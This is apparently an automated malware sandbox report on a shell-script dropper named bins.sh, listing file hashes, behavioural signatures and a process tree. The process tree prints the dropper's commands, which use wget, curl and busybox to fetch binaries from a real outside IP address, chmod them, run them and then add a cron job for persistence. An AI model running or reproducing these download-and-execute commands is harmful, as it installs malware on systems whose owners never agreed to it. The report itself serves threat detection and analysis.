Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 23:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    71ec0aa550f7409c7f45906fca045cb1

  • SHA1

    a0f270335831919a5cd9f3ebb71d0631010c3564

  • SHA256

    8870b3b28e3a997482b2096cd8c1a2064761eccf648a3f57bb0a58f9b9e9c08a

  • SHA512

    4a54755cf5876efadd68926b41da67c7ccbe2c3a38de832fa09a5367d8f3250c8da815e9167f6974955296680e0cd1718ec1b9802de7cf8cb5363d67b9d7bf3b

  • SSDEEP

    192:6mK6XfrfLn/YZvlfaDd9FNll+fLYmK6Xfcl:lfLnavNwd95YfLg

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:651
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:674
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          ./dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Executes dropped EXE
          PID:680
        • /bin/rm
          rm dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
            PID:683
          • /usr/bin/wget
            wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:707
          • /bin/chmod
            chmod 777 geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • File and Directory Permissions Modification
            PID:712
          • /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            ./geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Executes dropped EXE
            PID:714
          • /bin/rm
            rm geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
              PID:716
            • /usr/bin/wget
              wget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Writes file to tmp directory
              PID:718
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:733
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • File and Directory Permissions Modification
              PID:740
            • /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              ./TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:741
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:743
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:744
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:745
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:746
                • /bin/rm
                  rm TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
                  2⤵
                    PID:759
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                    2⤵
                      PID:763

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm

                    Filesize

                    127KB

                    MD5

                    89077b7bd4bcafca7713be43635c4862

                    SHA1

                    fc02edb8fba29ea8ee99e6157ef8560334530052

                    SHA256

                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                    SHA512

                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                  • /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB

                    Filesize

                    111KB

                    MD5

                    ca897a38f23ec23521ce0b1b83f8422d

                    SHA1

                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                    SHA256

                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                    SHA512

                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                  • /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw

                    Filesize

                    98KB

                    MD5

                    5141342d0df8699fa32a6b066a0c592e

                    SHA1

                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                    SHA256

                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                    SHA512

                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                  • /var/spool/cron/crontabs/tmp.gLeWqz

                    Filesize

                    210B

                    MD5

                    2791dc8d7abd43f646255b51099cd3c2

                    SHA1

                    53fef841915779b2766cadf1e164037030b7ec50

                    SHA256

                    0762dbdf3cc577868036b1b55746d703821bc507563ce4706ca9ebc54d0fe187

                    SHA512

                    05ef087e5152c0d644d5e497edf390558fffc789209a8db403cbc5e61238b5c3a029c1578f554833632a03b28ea2ec2f2124809f3658935e6862164d7268c543